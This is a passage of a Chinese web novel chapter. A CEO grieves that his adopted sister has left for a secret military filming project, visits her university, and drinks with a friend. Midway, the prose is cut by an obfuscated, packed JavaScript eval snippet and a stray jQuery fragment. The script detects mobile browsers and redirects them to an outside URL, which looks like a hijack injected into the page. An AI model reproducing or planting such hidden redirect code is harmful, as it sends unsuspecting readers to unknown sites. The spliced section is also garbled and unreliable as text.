季月尘看着老板,心里有点发虚。
秦时初的状态肉眼可见的不好,脸色铁青,握着手机的手指指节发白。同一趟航班的人都走得差不多了,他们还站在原地。
季月尘不敢上前打搅,更不敢催促,只能在旁边陪着。
过了很久很久,秦时初突然转头看他,莫名其妙地说了一句:“她是故意的。”
季月尘一时没明白这个“ta”指的是谁,正琢磨着怎么回答,秦时初突然往前走去,显然这话并不是说给他听的,也不需要他回答什么。
眼看老板已经走出一段距离,他连忙跟上去。
一直到出了机场,秦时初都一言不发。季月尘一早安排了车来接,但此时并不知道老板要去哪里,只好先让司机等着。
秦时初也不知道自己要去哪里,只是一味地往前走着,因为只要一停下来,他的脑子立刻就会被愤怒和伤心填满。
他跟军方打过交道,知道他们的大概流程,项目绝不可能是前一天提出,第二天就可以实施的。这件事简秋不知道瞒了他多久,直到出发的前一天才告诉他,根本不给他反应和反对的机会。
这些日子她有过纠结吗?有过不舍吗?就算有,应该也不多,否则她就不会走得那么决绝。
十四年的兄妹情,其中十年他们都住在一起,到头来,他在她心里的份量居然这么轻。秦时初从来没有过这么沮丧的时刻,哪怕是在年幼时,父亲对他置之不理,只牵挂着那些私生子女的时候,他也没有这种强烈的挫败感。
简秋对他来说太重要了,他这辈子在乎的女性只有三个,秦夫人和简雯欣都去世了,这世上就只剩下简秋,是他无法割舍的。
可是如今,对方先把他割舍了。
她嘴里说是去十个月,谁知道真实情况是多久呢?他和他的人都无法进入军方驻地,她的手机也关机,这是打定了主意要跟他断绝联系。
他究竟做错了什么,令她如此决绝?
他在陌生的城市里一直走到深夜。边陲小城,不像羊城那样夜生活丰富,入夜以后街上的人就明显变少。秦时初听着自己的脚步声在空旷的街道上回响,心里有种说不出来的孤寂——虽然他身后不远处就有季月尘跟着。
“我被抛弃了。”他心里有个声音在说着。
虽然简秋从来没说过类似的话,但他就是有这种感觉。这让他伤心,同时也让他脆弱,而这种感情只有在母亲和简雯欣夫妻过世的时候,曾萌发过。
“秦总——”眼看夜已经深了,周围又看不到人,这里毕竟靠近边境,不太安全,季月尘忍不住出声唤道。
秦时初停住脚步,他连忙赶了上去,小心翼翼地说道:“要不我们先找个地方住一晚,明天再从长计议?”
季月尘的话将秦时初的理智唤回来了一些。
季月尘一句话都不敢多说,默默站着等老板做决定。过了一会儿,他听到老板说:“嗯。”
季月尘来之前已经做足了功课,把小城里的宾馆酒店都查了一遍。他看了下电子地图,他们附近就有一家酒店,连忙征询秦时初的意见。
秦时初道:“你安排吧。”
季月尘带着秦时初过去,给老板订好房间,等秦时初进了房,又打电话给那几个原本应该跟着简秋的保镖。他们下飞机后不久就失去目标人物,请示季月尘,后者让他们先暗中跟着自己,此时都在不远处,正好一起安顿了。
秦时初进了房间后,连澡都没洗,和衣躺到了床上。他觉得很疲惫,无论是精神还是身体上,但却怎么都睡不着。小城的夜风透过半开的窗户吹进来,丝丝凉意钻进身体。这边本来就还是初春时节,凉意浸人,他又在外面走了半夜,再被冷风一吹,只觉浑身都是冰凉的。
不过这也让他从先前的情绪中清醒过来。
他把事情想得太悲观了。或许简秋只是手机没电了,才会关机,说不定今晚充好电,明天就会主动跟他联系。而她之所以不提前告诉他项目的具体情况,可能是怕他不同意,所以来个先斩后奏。而且军方的项目一般都要求参与者签订保密协议,说不定她是碍于保密协议,所以不能跟他多说。
退一万步说,就算事情真的如他先前想的那样,简秋就是想跟他决裂,那么他也不是从此就找不到她了。
项目是军方跟养成羊城合作的,齐教授肯定会向学校报备,他可以直接去找校长,了解项目的情况。
想到这里,他那颗心终于轻松了一些,疲惫袭来,他闭上了眼睛。
第二天早上,季月尘被闹钟吵醒的时候,困得想死,但还是挣扎着爬了起来。洗漱完毕后,他打开门,轻轻走到秦时初门口,打算先听听里面的动静,等老板起床了,再请示下一步的行动。
他计划得好好的,谁知刚贴到门上,门忽然从里面拉开了,他正对上衣着整齐的秦时初。
季月尘:“……”
饶是他反应迅速,也僵住了。
两人对视片刻,他挤出一个比哭还难看的笑容,对着老板打招呼:“秦总,早上好啊。”
秦时初看起来跟昨天判若两人,虽然眼底的青黑说明他昨晚也睡得不好,但那个深夜漫无目的、魂不守舍暴走的哥哥已经不见了,往日那个理智淡定的总裁又回来了。
“去订机票,今天回羊城。”秦时初道。
“那……”季月尘觑着老板的脸色,含糊地说出那个名字,“简秋小姐那边……”
“让保镖在驻地附近盯着,一旦有情况,立刻汇报。”
“是,秦总,我马上就去办。”
两人乘坐中午的航班返回羊城。飞机落地,季月尘请示老板:“秦总,我们是回公司吗?”
秦时初看也没看他,只丢下一句:“去羊大。”
季月尘:“?”
眼看老板已经走远,他赶紧跟上去,一边暗暗担忧,老板不会因为简秋小姐的事,要去找学校麻烦吧?这根本不关学校的事,学校是无辜的啊!
但他也只能内心OS,当然是不敢说出口的。
出了机场,吴叔已经提前在等着了。听说要去羊大,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060747|161157||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他也是很惊讶,不过跟季月尘一样,什么都没说。车子又快又稳地朝羊大开去。
对于秦时初的第二次到访,校长简直如临大敌。秦时初没有恐吓别人的爱好,但这件事确实让他很不高兴,所以语气也很不好。好在季月尘很善于处理这种场面,立刻充当起了老板的翻译,简单的几句话就把老板的来意说了个清楚明白。
713项目是学校今年的重点项目之一,校长自然不会不知情。不过因为是跟军方合作,所以很多细节不能透露,他挑拣着把能说的都说了。
项目原本是计划七月十三号启动,所以取了个临时代号叫“713项目”,项目持续七个月,期间参与人员不能与外界联系,因为是与边防部队联合拍摄,所以过程中可能会有危险。
秦时初听到“会有危险”,脸色一沉,季月尘连忙转开话题,询问诸如那边的住宿啊饮食啊之类的。这些东西校长哪里知道呢,只能打着哈哈糊弄过去,说什么项目组会安排的,部队也会尽可能给他们提供方便等等,总算把瘟神给打发走了。
从羊大出来已经是傍晚了,几人沉默地上了车。吴叔握着方向盘,等秦时初的指示,过了几分钟,才听到他说:“去公司吧。”
季月尘估算了一下老板的心情指数,试探着说道:“简秋小姐说去十个月,原来七个月就能回来了。”
虽然无论是十个月,还是七个月,对老板来说都是一段很长的时间,而且丝毫改变不了老板被妹妹“抛弃”的事实,但好消息“有”总好过“没有”。
秦时初没答话,直到车子到了公司门口,这才道:“你们都下班吧。”
此时已经过了下班时间很久,秦氏大楼加班的人已经不多。秦时初独自回到办公室,打开电脑,想看看集团近期的财报,但是只看了几行就看不下去了。
他掏出手机,再次拨打简秋的号码,那边仍然是机械的:“对不起,您所拨打的电话已关机。”
他握着手机,静默了好一会儿,转而打给钟胤:“出来喝酒。”说完根本不给钟胤拒绝的机会,就直接把电话挂了,然后微信发了个地址给他。
钟胤只回了他六个点。
钟胤今天下班早,闲来无事,正独自在家里看恐怖电影,根本不想出门。但听秦时初的语气,知道他又遇到了不痛快的事,这种时候作为兄弟肯定不能置之不理,于是关了家庭影院,火速赶去秦时初说的地方。
等他赶到,秦时初正一个人在喝闷酒,从旁边的空酒瓶子来看,情况比上次严重得多。
他连忙抢上前去,夺他的酒杯:“我的哥诶,什么事这么想不开,说出来我帮你开解开解,咱不至于这样哈。”
秦时初盯着他。他前两个晚上都几乎通宵没睡,那双眼本已熬得满是血丝,再被酒气一浸染,看上去就像个变态偏执狂。钟胤被他吓了一跳,连刚抢过来的酒杯都失手跌了出去,咕噜噜滚了一会儿,险险地停在了长桌的边缘。
秦时初的目光转向那只酒杯,声音听起来很脆弱,他说:“小秋走了,她不要我了。”